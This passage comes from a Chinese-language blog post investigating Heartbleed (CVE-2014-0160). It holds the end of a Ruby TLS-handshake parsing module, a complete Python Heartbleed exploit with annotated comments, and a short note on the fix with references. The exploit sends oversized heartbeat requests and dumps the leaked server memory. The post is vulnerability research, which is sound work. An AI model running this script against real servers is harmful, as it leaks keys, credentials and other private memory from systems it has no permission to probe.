remaining_data = get_ssl_record
end

server_done
end

# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_status("\tHandshake ##{handshake_count}:")
vprint_status("\t\tLength: #{hs_len}")

handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_status("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_status("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_status("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_status("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_status("\t\tType: Handshake type #{hs_type} not implemented")
end

handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end

handshakes
end

# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_status("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_status("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_status("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_status("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)

# TODO: return hash with data
true
end

# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_status("\t\tCertificates length: #{cert_len}")
vprint_status("\t\tData length: #{data.length}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[already_read, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_status("\t\tCertificate ##{cert_counter}:")
vprint_status("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(already_read + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_status("Got certificate: #{cert.to_text}")
vprint_status("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end

# TODO: return hash with data
true
end
end

一个更轻量的常见 Python 版 exploit 为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]


#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

# 支持多个协议版本
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

# 创建 Hello 握手包
def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello

def create_hb(version):
# 创建请求心跳包,18代表Heartbeat类型,00 03代表请求包的实际长度
# 01代表 TLS1_HB_REQUEST 请求类型,40 00 代表 payload 长度值
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata


def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s,hb):
s.send(hb) # 发送心跳请求包
while True:
typ, ver, pay = recvmsg(s) # 接收心跳响应包
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24: # 24代表 Heartbeat 类型
print 'Received heartbeat response:'
hexdump(pay) # 以 十六进制 + 字符串 的形式打印出心跳响应包数据
if len(pay) > 3: # 返回的数据长度越过实际长度3,就说明越界访问到其它内存数据,此时就存在漏洞
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
for i in range(len(version)):
print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break

if __name__ == '__main__':
main()

非常简单其实就是正常建立 TCP 连接,进行 TLS 握手 然后构造声明 payload 长度远大于实际 payload 长度的恶意心跳请求即可,在此不过多赘述

漏洞修复

Security Patch 主要为两个漏洞函数添加了对 s-> s3-> rrec.length 即 payload 长度值的判断,若声明长度大于实际长度则提前返回

Reference

Security Patch
The Heartbleed Bug
NVD - CVE-2014-0160
CVE - CVE-2014-0160
漏洞战争

  • Title: CVE-2014-0160 Investigation
  • Author: 7erry
  • Created at : 2025-06-06 18:53:57
  • Updated at : 2025-06-06 18:53:57
  • Link: https://7erryx.github.io/2025/06/06/Vulnerability Investigation/CVE-2014-0160-Investigation/
  • License: This work is licensed under CC BY-NC-SA 4.0.